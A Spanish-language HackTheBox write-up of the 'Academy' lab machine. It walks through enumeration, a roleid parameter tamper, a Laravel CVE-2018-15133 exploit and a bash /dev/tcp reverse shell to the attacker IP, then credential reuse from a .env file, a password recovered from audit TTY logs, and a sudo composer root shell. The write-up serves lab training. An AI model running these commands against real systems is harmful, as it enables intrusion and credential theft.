Academy Writeup - HackTheBox
¡Saludos!
En este writeup, nos sumergiremos en la máquina Academy de HackTheBox, la cual tiene un nivel de dificultad fácil según la plataforma. Se trata de una máquina Linux en la que llevaremos a cabo una enumeración web y detectaremos un panel de inicio de sesión vulnerable que nos permitirá registrarnos como administradores. Al acceder, encontraremos un dominio de desarrolladores que nos permitirá acceder a un registro de Laravel. Una búsqueda en Google revelará una vulnerabilidad que podremos explotar, lo que nos permitirá obtener acceso remoto al sistema a través de la ejecución de código. Luego, procederemos a realizar un pivoting de usuarios reutilizando las credenciales de la base de datos y recuperando los registros de entrada TTY, los cuales revelarán una contraseña. Finalmente, aprovecharemos el permiso de sudo en el binario composer para elevar nuestros privilegios.
¡Vamos a empezar!
Reconocimiento activo
Como primer paso, lanzamos el comando ping
desde nuestro equipo atacante para verificar si la máquina objetivo está activa.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.215
PING 10.10.10.215 (10.10.10.215) 56(84) bytes of data.
64 bytes from 10.10.10.215: icmp_seq=1 ttl=63 time=118 ms
--- 10.10.10.215 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 118.172/118.172/118.172/0.000 ms
Escaneo
A continuación, realizamos un escaneo con Nmap
para identificar los puertos abiertos en el sistema objetivo.
1
2
3
4
5
6
7
8
9
10
11
❯ nmap -p- --open -n -sS -Pn --min-rate 5000 10.10.10.215 -oG allPorts.txt
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-17 19:22 -05
Nmap scan report for 10.10.10.215
Host is up (0.11s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
33060/tcp open mysqlx
Nmap done: 1 IP address (1 host up) scanned in 15.01 seconds
Enumeración
Seguidamente, efectuamos una enumeración de las versiones de los servicios asociados a los puertos abiertos. Además, activamos los scripts predeterminados de Nmap
para realizar pruebas complementarias sobre los puertos y servicios identificados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
❯ nmap -p 22,80,33060 -sVC 10.10.10.215 -oN services.txt
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-17 19:25 -05
Nmap scan report for 10.10.10.215
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA)
| 256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA)
|_ 256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://academy.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
|_ HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.94%I=7%D=8/17%Time=64DEBA7D%P=x86_64-pc-linux-gnu%r(N
SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOp
SF:tions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers
SF:ionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2
SF:B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI
SF:nvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")
SF:%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01
SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
SF:\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\
SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY0
SF:00")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(LDAPBindReq,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SIPOptions
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LANDesk-RC,9,"\x05\0\0\0\x0b\x08\x
SF:05\x1a\0")%r(TerminalServer,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NCP,9,"
SF:\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRPC,2B,"\x05\0\0\0\x0b\x08\x05\x1
SF:a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000
SF:")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(WMSRequest,9,"\x05\0\0
SF:\0\x0b\x08\x05\x1a\0")%r(oracle-tns,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r
SF:(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(giop,9,"\x05\0\0\0\x0b\x08\x05\x1a\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.19 seconds
El informe de Nmap
revela que en el puerto 22
se encuentra en ejecución un servidor OpenSSH 8.2p1
, mientras que en el puerto 80
se identifica un servidor Apache 2.4.41
que intenta redirigir al dominio http://academy.htb/
. Además, en el puerto 33060
se encuentra en funcionamiento un servidor MySQL
.
HTTP - 80
Para empezar, añadimos la entrada del dominio “academy.htb
” en el archivo “/etc/hosts
” para que se dirija a la dirección ip de la máquina víctima.
1
❯ echo '10.10.10.215\tacademy.htb' >> /etc/hosts
Al ingresar a “academy.htb
” en el navegador web, nos encontramos con lo que parece ser una página de la academia de Hack The Box.
La página web presenta enlaces de “Login” y “Register”. Dado que no contamos con credenciales válidas, procederemos a registrar una cuenta y luego iniciar sesión.
Después de completar el proceso de registro, la página web nos direcciona primero a una página de bienvenida y luego nos redirige a la página de inicio de sesión (login.php
). En este punto, procedemos a iniciar sesión utilizando las credenciales que habíamos creado anteriormente.
La página web presenta diversos módulos de la Hack The Box Academy, sin embargo, no parece haber ninguna funcionalidad activa. Por lo tanto, procederemos a enumerar los directorios y archivos ocultos. Para esta tarea, haremos uso de la herramienta dirsearch.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ python3 dirsearch.py -u http://academy.htb/ -i 200,301 -t 200
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 200 | Wordlist size: 11713
Output: /opt/dirsearch/reports/http_academy.htb/__23-08-17_20-25-35.txt
Target: http://academy.htb/
[20:25:35] Starting:
[20:26:08] 200 - 3KB - /admin.php
[20:26:46] 200 - 0B - /config.php
[20:27:11] 301 - 311B - /images -> http://academy.htb/images/
[20:27:21] 200 - 3KB - /login.php
[20:27:49] 200 - 3KB - /register.php
Task Completed
dirsearch
revela varios archivos PHP
, siendo “admin.php
” el más destacado. Al acceder a “/admin.php
”, se presenta una página de inicio de sesión. Intentamos iniciar sesión utilizando nuestras credenciales registradas, pero lamentablemente el intento resulta fallido.
Explotación
Vamos a intentar crear una nueva cuenta nuevamente y, al mismo tiempo, analizar la solicitud utilizando Burp Suite
para entender cómo se procesa por detrás.
Observamos una solicitud POST que se envía a “register.php
” con “uid
” como nombre de usuario, “password
” como contraseña y el parámetro “roleid
”, que está predefinido en 0
. Este último parámetro parece ser significativo, ya que parece indicar el rol del usuario. Por lo tanto, procedemos a modificar el valor de 0
a 1
para observar si se produce algún cambio.
1
uid=john&password=password&confirm=password&roleid=1
Ingresar en “login.php
” utilizando nuestras nuevas credenciales no nos otorga acceso a ninguna funcionalidad adicional. Sin embargo, esta vez logramos acceder a “/admin.php
”.
Tras iniciar sesión, nos encontramos con un “Academy Launch Planner” en el que se menciona el subdominio “dev-staging-01.academy.htb
”. Por lo tanto, procedemos a agregar esta entrada a nuestro archivo de hosts.
1
10.10.10.215 academy.htb dev-staging-01.academy.htb
Al ingresar a “dev-staging-01.academy.htb
”, nos encontramos con lo que parece ser un error de Laravel.
En este punto, intentamos identificar la versión de Laravel sin embargo no tuvimos éxito.
Después de llevar a cabo varias búsquedas en Google, finalmente pudimos determinar que una versión específica de Laravel del año 2018 era vulnerable a una ejecución remota de código (CVE-2018-15133
), y había exploits conocidos disponibles. Entre estos exploits se encuentra exploit_laravel_cve-2018-15133, el cual tiene la capacidad de ejecutar código de forma remota.
Para llevar a cabo la ejecución de este exploit, requerimos el API_KEY
, afortunadamente lo podemos encontrar en la sección de “Environment & details”.
El modo de uso del exploit es el siguiente:
1
usage: pwn_laravel.py [-h] [-c COMMAND] [-m {1,2,3,4}] [-i] URL API_KEY
Para ejecutarlo, simplemente proporcionamos la URL
como parámetro, junto con el API_KEY
. Usamos el parámetro -c
para especificar el comando que deseamos ejecutar en la máquina víctima, en este caso “id
”.
1
2
3
❯ python3 pwn_laravel.py http://dev-staging-01.academy.htb/ dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= -c id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Después de haber confirmado su funcionamiento correctamente, procedemos a ponernos en escucha en el puerto 443 y luego ejecutamos el siguiente comando para establecer una reverse shell hacia nuestro equipo atacante:
1
❯ python3 pwn_laravel.py http://dev-staging-01.academy.htb/ dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= -c "bash -c 'bash -i >& /dev/tcp/10.10.14.8/443 0>&1'"
1
2
3
4
5
6
7
8
9
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.215] 44452
bash: cannot set terminal process group (917): Inappropriate ioctl for device
bash: no job control in this shell
www-data@academy:/var/www/html/htb-academy-dev-01/public$ whoami
whoami
www-data
www-data@academy:/var/www/html/htb-academy-dev-01/public$
Para tener una shell más interactiva, procedemos a realizar un Tratamiento de la TTY.
Ahora, en el directorio /home
, realizamos una búsqueda recursiva de la user flag
1
2
www-data@academy:/home$ find . -name user.txt -type f 2>/dev/null
./cry0l1t3/user.txt
Al intentar acceder, notamos que no tenemos permisos de lectura.
1
2
3
4
www-data@academy:/home$ cat ./cry0l1t3/user.txt
cat: ./cry0l1t3/user.txt: Permission denied
www-data@academy:/home$ ls -l ./cry0l1t3/user.txt
-r--r----- 1 cry0l1t3 cry0l1t3 33 Aug 17 06:43 ./cry0l1t3/user.txt
Pivoting de usuario
Usuario cry0l1t3
Dado que el propietario es el usuario cry0l1t3
, debemos buscar una forma de pivotar hacia ese usuario.
Recordamos del resultado de Nmap que hay una instancia de MySQL escuchando en el puerto 33060. Laravel usa archivos .env
para configuraciones de bases de datos (paquete PHP phpdotenv).
La inspección de la aplicación Laravel academy revela credenciales MySQL en el archivo .env
. La aplicación principal de Academy se encuentra en /var/www/html/academy
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
www-data@academy:/var/www/html/academy$ cat .env
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
APP_DEBUG=false
APP_URL=http://localhost
LOG_CHANNEL=stack
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=academy
DB_USERNAME=dev
DB_PASSWORD=mySup3rP4s5w0rd!!
[...]
Intentar ingresar a MySQL utilizando el cliente mysql con estas credenciales resulta en un fallo. Sin embargo, podemos cambiar al usuario cry0l1t3
con la contraseña “mySup3rP4s5w0rd!!
” utilizando el comando su
.
1
2
3
4
www-data@academy:/var/www/html$ su cry0l1t3
Password:
$ id
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)
Excelente, ahora podemos leer la flag.
1
2
3
4
$ bash
cry0l1t3@academy:/var/www/html$ cd
cry0l1t3@academy:~$ cat user.txt
5e5f808076fab1e3****************
El comando id
revela que este usuario es miembro del grupo adm
. El grupo adm
permite a los usuarios leer los registros del sistema. En Linux todos los registros se encuentran dentro de la carpeta /var/log
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
cry0l1t3@academy:/var/log$ find . -group adm 2>/dev/null
./auth.log.3.gz
./dmesg.1.gz
./syslog.2.gz
./kern.log.3.gz
./syslog.6.gz
./syslog.1
./kern.log
./dmesg.0
./syslog
./dmesg.2.gz
./apt/term.log.2.gz
./apt/term.log.3.gz
./apt/term.log.1.gz
./apt/term.log.4.gz
./apt/term.log
./audit
./audit/audit.log.2
./audit/audit.log
./audit/audit.log.3
./audit/audit.log.1
./syslog.4.gz
[...]
Usuario mrb3n
Hay muchos registros, pero el más interesante es el de audit
, ya que el kernel de Linux registra muchas cosas, pero por defecto no registra la entrada TTY. El registro de audit
permite a los administradores del sistema registrar esto. Si el registro de entrada TTY está habilitado, cualquier entrada incluyendo contraseñas son almacenadas codificadas hexadecimalmente dentro de /var/log/audit/audit.log
. Podemos decodificar estos valores manualmente o utilizar la utilidad aureport
para consultar y recuperar registros de entrada TTY.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
cry0l1t3@academy:/var/log$ aureport --tty
TTY Report
===============================================
# date time event auid term sess comm data
===============================================
Error opening config file (Permission denied)
NOTE - using built-in logs: /var/log/audit/audit.log
1. 08/12/2020 02:28:10 83 0 ? 1 sh "su mrb3n",<nl>
2. 08/12/2020 02:28:13 84 0 ? 1 su "mrb3n_Ac@d3my!",<nl>
3. 08/12/2020 02:28:24 89 0 ? 1 sh "whoami",<nl>
4. 08/12/2020 02:28:28 90 0 ? 1 sh "exit",<nl>
5. 08/12/2020 02:28:37 93 0 ? 1 sh "/bin/bash -i",<nl>
6. 08/12/2020 02:30:43 94 0 ? 1 nano <delete>,<delete>,<delete>,<delete>,<delete>,<down>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<down>,<delete>,<delete>,<delete>,<delete>,<delete>,<down>,<delete>,<delete>,<delete>,<delete>,<delete>,<down>,<delete>,<delete>,<delete>,<delete>,<delete>,<^X>,"y",<ret>
7. 08/12/2020 02:32:13 95 0 ? 1 nano <down>,<up>,<up>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<down>,<backspace>,<down>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<delete>,<^X>,"y",<ret>
8. 08/12/2020 02:32:55 96 0 ? 1 nano "6",<^X>,"y",<ret>
9. 08/12/2020 02:33:26 97 0 ? 1 bash "ca",<up>,<up>,<up>,<backspace>,<backspace>,"cat au",<tab>,"| grep data=",<ret>,"cat au",<tab>,"| cut -f11 -d\" \"",<ret>,<up>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<left>,<right>,<right>,"grep data= | ",<ret>,<up>," > /tmp/data.txt",<ret>,"id",<ret>,"cd /tmp",<ret>,"ls",<ret>,"nano d",<tab>,<ret>,"cat d",<tab>," | xx",<tab>,"-r -p",<ret>,"ma",<backspace>,<backspace>,<backspace>,"nano d",<tab>,<ret>,"cat dat",<tab>," | xxd -r p",<ret>,<up>,<left>,"-",<ret>,"cat /var/log/au",<tab>,"t",<tab>,<backspace>,<backspace>,<backspace>,<backspace>,<backspace>,<backspace>,"d",<tab>,"aud",<tab>,"| grep data=",<ret>,<up>,<up>,<up>,<up>,<up>,<down>,<ret>,<up>,<up>,<up>,<ret>,<up>,<up>,<up>,<ret>,"exit",<backspace>,<backspace>,<backspace>,<backspace>,"history",<ret>,"exit",<ret>
10. 08/12/2020 02:33:26 98 0 ? 1 sh "exit",<nl>
11. 08/12/2020 02:33:30 107 0 ? 1 sh "/bin/bash -i",<nl>
12. 08/12/2020 02:33:36 108 0 ? 1 bash "istory",<ret>,"history",<ret>,"exit",<ret>
13. 08/12/2020 02:33:36 109 0 ? 1 sh "exit",<nl>
El informe TTY revela que el usuario mrb3n
inició sesión con la contraseña mrb3n_Ac@d3my!
utilizando su
.
Entonces, simplemente cambiamos al usuario cry0l1t3
con su respectiva contraseña.
1
2
3
4
cry0l1t3@academy:/var/log/audit$ su mrb3n
Password:
$ id
uid=1001(mrb3n) gid=1001(mrb3n) groups=1001(mrb3n)
Escalación de privilegios
Al ejecutar sudo -l
, se revela que el usuario mrb3n
tiene permiso para ejecutar el binario “composer
” como root.
1
2
3
4
5
6
7
mrb3n@academy:/var/log/audit$ sudo -l
[sudo] password for mrb3n:
Matching Defaults entries for mrb3n on academy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mrb3n may run the following commands on academy:
(ALL) /usr/bin/composer
Hay una entrada en GTFOBins para composer. Se trata de crear un archivo composer.json
con una propiedad “scripts”.
Después de introducir estos comandos, logramos obtener un shell como root con éxito y podemos acceder a la flag de root.
1
2
3
4
5
6
7
8
9
10
11
12
mrb3n@academy:/var/log/audit$ TF=$(mktemp -d)
mrb3n@academy:/var/log/audit$ echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
mrb3n@academy:/var/log/audit$ sudo composer --working-dir=$TF run-script x
PHP Warning: PHP Startup: Unable to load dynamic library 'mysqli.so' (tried: /usr/lib/php/20190902/mysqli.so (/usr/lib/php/20190902/mysqli.so: undefined symbol: mysqlnd_global_stats), /usr/lib/php/20190902/mysqli.so.so (/usr/lib/php/20190902/mysqli.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
PHP Warning: PHP Startup: Unable to load dynamic library 'pdo_mysql.so' (tried: /usr/lib/php/20190902/pdo_mysql.so (/usr/lib/php/20190902/pdo_mysql.so: undefined symbol: mysqlnd_allocator), /usr/lib/php/20190902/pdo_mysql.so.so (/usr/lib/php/20190902/pdo_mysql.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
Do not run Composer as root/super user! See https://getcomposer.org/root for details
> /bin/sh -i 0<&3 1>&3 2>&3
# whoami
root
# cd /root
# cat root.txt
0627e87322b0918f****************
!Happy Hacking¡